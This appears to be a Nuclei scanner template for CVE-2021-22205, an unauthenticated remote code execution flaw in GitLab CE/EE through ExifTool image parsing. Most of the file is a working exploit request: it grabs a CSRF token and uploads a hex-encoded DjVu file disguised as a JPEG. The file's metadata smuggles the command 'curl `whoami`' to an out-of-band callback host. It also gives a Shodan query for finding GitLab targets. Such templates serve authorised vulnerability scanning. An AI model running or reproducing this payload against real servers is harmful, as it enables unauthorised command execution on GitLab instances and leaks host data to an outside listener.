65 lines
3.4 KiB
YAML
65 lines
3.4 KiB
YAML
id: gitlab-rce
|
|
|
|
info:
|
|
name: GitLab CE/EE Unauthenticated RCE Using ExifTool
|
|
author: pdteam
|
|
severity: critical
|
|
description: GitLab CE/EE contains a vulnreability which allows a specially crafted image passed to a file parser to perform a command execution attack. Versions impacted are between 11.9-13.8.7, 13.9-13.9.5, and
|
|
13.10-13.10.2.
|
|
reference:
|
|
- https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
|
|
- https://hackerone.com/reports/1154542
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22205
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10.0
|
|
cve-id: CVE-2021-22205
|
|
cwe-id: CWE-20
|
|
remediation: Upgrade to versions 13.10.3, 13.9.6, 13.8.8, or higher.
|
|
metadata:
|
|
shodan-query: http.title:"GitLab"
|
|
tags: cve,cve2021,gitlab,rce,oast,intrusive
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /users/sign_in HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
|
|
- |
|
|
POST /uploads/user HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
|
|
X-CSRF-Token: {{csrf-token}}
|
|
|
|
{{hex_decode('0D0A2D2D2D2D2D2D5765624B6974466F726D426F756E64617279494D76336D7852673539546B465358350D0A436F6E74656E742D446973706F736974696F6E3A20666F726D2D646174613B206E616D653D2266696C65223B2066696C656E616D653D22746573742E6A7067220D0A436F6E74656E742D547970653A20696D6167652F6A7065670D0A0D0A41542654464F524D000003AF444A564D4449524D0000002E81000200000046000000ACFFFFDEBF992021C8914EEB0C071FD2DA88E86BE6440F2C7102EE49D36E95BDA2C3223F464F524D0000005E444A5655494E464F0000000A00080008180064001600494E434C0000000F7368617265645F616E6E6F2E696666004247343400000011004A0102000800088AE6E1B137D97F2A89004247343400000004010FF99F4247343400000002020A464F524D00000307444A5649414E546100000150286D657461646174610A0928436F7079726967687420225C0A22202E2071787B')}}curl `whoami`.{{interactsh-url}}{{hex_decode('7D202E205C0A2220622022292029202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200A0D0A2D2D2D2D2D2D5765624B6974466F726D426F756E64617279494D76336D7852673539546B465358352D2D0D0A')}}
|
|
|
|
cookie-reuse: true
|
|
max-redirects: 3
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- 'Failed to process image'
|
|
|
|
- type: status
|
|
status:
|
|
- 422
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: csrf-token
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- 'csrf-token" content="(.*?)" />'
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 1
|
|
regex:
|
|
- '([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z]+)'
|
|
|
|
# Enhanced by CS 2021/03/04
|